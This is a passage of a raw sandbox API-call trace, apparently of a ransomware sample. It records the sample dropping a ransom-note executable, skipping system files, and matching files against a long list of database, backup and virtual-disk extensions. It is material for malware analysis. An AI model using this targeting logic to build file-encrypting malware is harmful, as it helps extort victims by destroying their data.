ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.925] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0051.925] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0051.925] ReleaseMutex (hMutex=0xec) returned 1 [0051.925] CloseHandle (hObject=0xec) returned 1 [0051.925] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent" [0051.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0051.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c560 | out: hHeap=0x4f0000) returned 1 [0051.925] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent") returned 53 [0051.925] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0C4829587D8DBDCDF12085E2D657DF31") returned 0xec [0051.925] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.925] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent" [0051.925] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.925] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.926] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.926] GetLastError () returned 0x0 [0051.926] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0051.926] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.927] CloseHandle (hObject=0xf4) returned 1 [0051.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0051.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.927] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.927] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.927] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.927] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.927] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.928] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.928] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.928] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.928] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd1c6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xafd1c6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xafd1c6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xef1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-6FpG.lnk", cAlternateFileName="")) returned 1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2=".") returned 1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="..") returned 1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="windows") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="bootmgr") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="temp") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="pagefile.sys") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="boot") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="ids.txt") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="ntuser.dat") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="perflogs") returned -1 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2="MSBuild") returned -1 [0051.928] lstrlenW (lpString="-6FpG.lnk") returned 9 [0051.928] lstrcpyW (in: lpString1=0x241e8b4, lpString2="-6FpG.lnk" | out: lpString1="-6FpG.lnk") returned="-6FpG.lnk" [0051.928] lstrlenW (lpString="-6FpG.lnk") returned 9 [0051.928] lstrlenW (lpString="Athena865") returned 9 [0051.928] lstrlenW (lpString=".dll") returned 4 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2=".dll") returned 1 [0051.928] lstrlenW (lpString=".lnk") returned 4 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2=".lnk") returned 1 [0051.928] lstrlenW (lpString=".ini") returned 4 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2=".ini") returned 1 [0051.928] lstrlenW (lpString=".sys") returned 4 [0051.928] lstrcmpiW (lpString1="-6FpG.lnk", lpString2=".sys") returned 1 [0051.928] lstrlenW (lpString="-6FpG.lnk") returned 9 [0051.929] lstrlenW (lpString="bak") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.929] lstrlenW (lpString="ba_") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.929] lstrlenW (lpString="dbb") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.929] lstrlenW (lpString="vmdk") returned 4 [0051.929] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.929] lstrlenW (lpString="rar") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.929] lstrlenW (lpString="zip") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.929] lstrlenW (lpString="tgz") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.929] lstrlenW (lpString="vbox") returned 4 [0051.929] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.929] lstrlenW (lpString="vdi") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.929] lstrlenW (lpString="vhd") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.929] lstrlenW (lpString="vhdx") returned 4 [0051.929] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.929] lstrlenW (lpString="avhd") returned 4 [0051.929] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.929] lstrlenW (lpString="db") returned 2 [0051.929] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.929] lstrlenW (lpString="db2") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.929] lstrlenW (lpString="db3") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.929] lstrlenW (lpString="dbf") returned 3 [0051.929] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.929] lstrlenW (lpString="mdf") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.930] lstrlenW (lpString="mdb") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.930] lstrlenW (lpString="sql") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.930] lstrlenW (lpString="sqlite") returned 6 [0051.930] lstrcmpiW (lpString1="pG.lnk", lpString2="sqlite") returned -1 [0051.930] lstrlenW (lpString="sqlite3") returned 7 [0051.930] lstrcmpiW (lpString1="FpG.lnk", lpString2="sqlite3") returned -1 [0051.930] lstrlenW (lpString="sqlitedb") returned 8 [0051.930] lstrcmpiW (lpString1="6FpG.lnk", lpString2="sqlitedb") returned -1 [0051.930] lstrlenW (lpString="xml") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.930] lstrlenW (lpString="$er") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.930] lstrlenW (lpString="4dd") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.930] lstrlenW (lpString="4dl") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.930] lstrlenW (lpString="^^^") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.930] lstrlenW (lpString="abs") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.930] lstrlenW (lpString="abx") returned 3 [0051.930] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.930] lstrlenW (lpString="accdb") returned 5 [0051.930] lstrcmpiW (lpString1="G.lnk", lpString2="accdb") returned 1 [0051.930] lstrlenW (lpString="accdc") returned 5 [0051.930] lstrcmpiW (lpString1="G.lnk", lpString2="accdc") returned 1 [0051.930] lstrlenW (lpString="accde") returned 5 [0051.930] lstrcmpiW (lpString1="G.lnk", lpString2="accde") returned 1 [0051.930] lstrlenW (lpString="accdr") returned 5 [0051.930] lstrcmpiW (lpString1="G.lnk", lpString2="accdr") returned 1 [0051.930] lstrlenW (lpString="accdt") returned 5 [0051.931] lstrcmpiW (lpString1="G.lnk", lpString2="accdt") returned 1 [0051.931] lstrlenW (lpString="accdw") returned 5 [0051.931] lstrcmpiW (lpString1="G.lnk", lpString2="accdw") returned 1 [0051.931] lstrlenW (lpString="accft") returned 5 [0051.931] lstrcmpiW (lpString1="G.lnk", lpString2="accft") returned 1 [0051.931] lstrlenW (lpString="adb") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.931] lstrlenW (lpString="adb") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.931] lstrlenW (lpString="ade") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.931] lstrlenW (lpString="adf") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.931] lstrlenW (lpString="adn") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.931] lstrlenW (lpString="adp") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.931] lstrlenW (lpString="alf") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.931] lstrlenW (lpString="ask") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.931] lstrlenW (lpString="btr") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.931] lstrlenW (lpString="cat") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.931] lstrlenW (lpString="cdb") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.931] lstrlenW (lpString="ckp") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.931] lstrlenW (lpString="cma") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.931] lstrlenW (lpString="cpd") returned 3 [0051.931] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.932] lstrlenW (lpString="dacpac") returned 6 [0051.932] lstrcmpiW (lpString1="pG.lnk", lpString2="dacpac") returned 1 [0051.932] lstrlenW (lpString="dad") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.932] lstrlenW (lpString="dadiagrams") returned 10 [0051.932] lstrlenW (lpString="daschema") returned 8 [0051.932] lstrcmpiW (lpString1="6FpG.lnk", lpString2="daschema") returned -1 [0051.932] lstrlenW (lpString="db-journal") returned 10 [0051.932] lstrlenW (lpString="db-shm") returned 6 [0051.932] lstrcmpiW (lpString1="pG.lnk", lpString2="db-shm") returned 1 [0051.932] lstrlenW (lpString="db-wal") returned 6 [0051.932] lstrcmpiW (lpString1="pG.lnk", lpString2="db-wal") returned 1 [0051.932] lstrlenW (lpString="dbc") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.932] lstrlenW (lpString="dbs") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.932] lstrlenW (lpString="dbt") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.932] lstrlenW (lpString="dbv") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.932] lstrlenW (lpString="dbx") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.932] lstrlenW (lpString="dcb") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.932] lstrlenW (lpString="dct") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0051.932] lstrlenW (lpString="dcx") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0051.932] lstrlenW (lpString="ddl") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0051.932] lstrlenW (lpString="dlis") returned 4 [0051.932] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0051.932] lstrlenW (lpString="dp1") returned 3 [0051.932] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0051.933] lstrlenW (lpString="dqy") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0051.933] lstrlenW (lpString="dsk") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0051.933] lstrlenW (lpString="dsn") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0051.933] lstrlenW (lpString="dtsx") returned 4 [0051.933] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0051.933] lstrlenW (lpString="dxl") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0051.933] lstrlenW (lpString="eco") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0051.933] lstrlenW (lpString="ecx") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0051.933] lstrlenW (lpString="edb") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0051.933] lstrlenW (lpString="epim") returned 4 [0051.933] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0051.933] lstrlenW (lpString="fcd") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0051.933] lstrlenW (lpString="fdb") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0051.933] lstrlenW (lpString="fic") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0051.933] lstrlenW (lpString="flexolibrary") returned 12 [0051.933] lstrlenW (lpString="fm5") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0051.933] lstrlenW (lpString="fmp") returned 3 [0051.933] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0051.933] lstrlenW (lpString="fmp12") returned 5 [0051.933] lstrcmpiW (lpString1="G.lnk", lpString2="fmp12") returned 1 [0051.933] lstrlenW (lpString="fmpsl") returned 5 [0051.933] lstrcmpiW (lpString1="G.lnk", lpString2="fmpsl") returned 1 [0051.934] lstrlenW (lpString="fol") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0051.934] lstrlenW (lpString="fp3") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0051.934] lstrlenW (lpString="fp4") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0051.934] lstrlenW (lpString="fp5") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0051.934] lstrlenW (lpString="fp7") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0051.934] lstrlenW (lpString="fpt") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0051.934] lstrlenW (lpString="frm") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0051.934] lstrlenW (lpString="gdb") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.934] lstrlenW (lpString="gdb") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.934] lstrlenW (lpString="grdb") returned 4 [0051.934] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0051.934] lstrlenW (lpString="gwi") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0051.934] lstrlenW (lpString="hdb") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0051.934] lstrlenW (lpString="his") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0051.934] lstrlenW (lpString="ib") returned 2 [0051.934] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0051.934] lstrlenW (lpString="idb") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0051.934] lstrlenW (lpString="ihx") returned 3 [0051.934] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0051.934] lstrlenW (lpString="itdb") returned 4 [0051.935] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0051.935] lstrlenW (lpString="itw") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0051.935] lstrlenW (lpString="jet") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0051.935] lstrlenW (lpString="jtx") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0051.935] lstrlenW (lpString="kdb") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0051.935] lstrlenW (lpString="kexi") returned 4 [0051.935] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0051.935] lstrlenW (lpString="kexic") returned 5 [0051.935] lstrcmpiW (lpString1="G.lnk", lpString2="kexic") returned -1 [0051.935] lstrlenW (lpString="kexis") returned 5 [0051.935] lstrcmpiW (lpString1="G.lnk", lpString2="kexis") returned -1 [0051.935] lstrlenW (lpString="lgc") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0051.935] lstrlenW (lpString="lwx") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0051.935] lstrlenW (lpString="maf") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0051.935] lstrlenW (lpString="maq") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0051.935] lstrlenW (lpString="mar") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0051.935] lstrlenW (lpString="marshal") returned 7 [0051.935] lstrcmpiW (lpString1="FpG.lnk", lpString2="marshal") returned -1 [0051.935] lstrlenW (lpString="mas") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0051.935] lstrlenW (lpString="mav") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0051.935] lstrlenW (lpString="maw") returned 3 [0051.935] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0051.936] lstrlenW (lpString="mdbhtml") returned 7 [0051.936] lstrcmpiW (lpString1="FpG.lnk", lpString2="mdbhtml") returned -1 [0051.936] lstrlenW (lpString="mdn") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0051.936] lstrlenW (lpString="mdt") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0051.936] lstrlenW (lpString="mfd") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0051.936] lstrlenW (lpString="mpd") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0051.936] lstrlenW (lpString="mrg") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0051.936] lstrlenW (lpString="mud") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0051.936] lstrlenW (lpString="mwb") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0051.936] lstrlenW (lpString="myd") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0051.936] lstrlenW (lpString="ndf") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0051.936] lstrlenW (lpString="nnt") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0051.936] lstrlenW (lpString="nrmlib") returned 6 [0051.936] lstrcmpiW (lpString1="pG.lnk", lpString2="nrmlib") returned 1 [0051.936] lstrlenW (lpString="ns2") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0051.936] lstrlenW (lpString="ns3") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0051.936] lstrlenW (lpString="ns4") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0051.936] lstrlenW (lpString="nsf") returned 3 [0051.936] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0051.936] lstrlenW (lpString="nv") returned 2 [0051.937] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0051.937] lstrlenW (lpString="nv2") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0051.937] lstrlenW (lpString="nwdb") returned 4 [0051.937] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0051.937] lstrlenW (lpString="nyf") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0051.937] lstrlenW (lpString="odb") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.937] lstrlenW (lpString="odb") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.937] lstrlenW (lpString="oqy") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0051.937] lstrlenW (lpString="ora") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0051.937] lstrlenW (lpString="orx") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0051.937] lstrlenW (lpString="owc") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0051.937] lstrlenW (lpString="p96") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0051.937] lstrlenW (lpString="p97") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0051.937] lstrlenW (lpString="pan") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0051.937] lstrlenW (lpString="pdb") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0051.937] lstrlenW (lpString="pdm") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0051.937] lstrlenW (lpString="pnz") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0051.937] lstrlenW (lpString="qry") returned 3 [0051.937] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0051.937] lstrlenW (lpString="qvd") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0051.938] lstrlenW (lpString="rbf") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0051.938] lstrlenW (lpString="rctd") returned 4 [0051.938] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0051.938] lstrlenW (lpString="rod") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0051.938] lstrlenW (lpString="rodx") returned 4 [0051.938] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0051.938] lstrlenW (lpString="rpd") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0051.938] lstrlenW (lpString="rsd") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0051.938] lstrlenW (lpString="sas7bdat") returned 8 [0051.938] lstrcmpiW (lpString1="6FpG.lnk", lpString2="sas7bdat") returned -1 [0051.938] lstrlenW (lpString="sbf") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0051.938] lstrlenW (lpString="scx") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0051.938] lstrlenW (lpString="sdb") returned 3 [0051.938] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0051.938] lstrlenW 